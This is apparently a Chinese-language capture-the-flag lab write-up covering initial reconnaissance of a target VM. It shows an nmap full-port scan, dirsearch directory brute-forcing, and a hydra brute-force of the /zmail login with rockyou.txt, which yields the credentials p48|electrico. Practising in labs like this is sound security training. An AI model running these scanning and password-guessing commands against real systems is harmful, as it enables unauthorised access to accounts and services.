kali:192.168.111.111
靶机:192.168.111.182
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.182
![](https://i-blog.csdnimg.cn/blog_migrate/fd18470a3c50a3333b6d487b15c38945.png)
访问web,发现三个用户名
![](https://i-blog.csdnimg.cn/blog_migrate/fe7ae0f380593cee05b0f654bcfef650.png)
目录爆破发现zmail目录
dirsearch -u http://192.168.111.182 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
![](https://i-blog.csdnimg.cn/blog_migrate/fa6b76114e5df280b6af0aabc18cf865.png)
访问该目录提示需要登录,用发现的用户名爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.182 http-get /zmail -t 64
得到账号密码:p48|electrico,登录后发现一封邮件,内容提示存在另一台服务器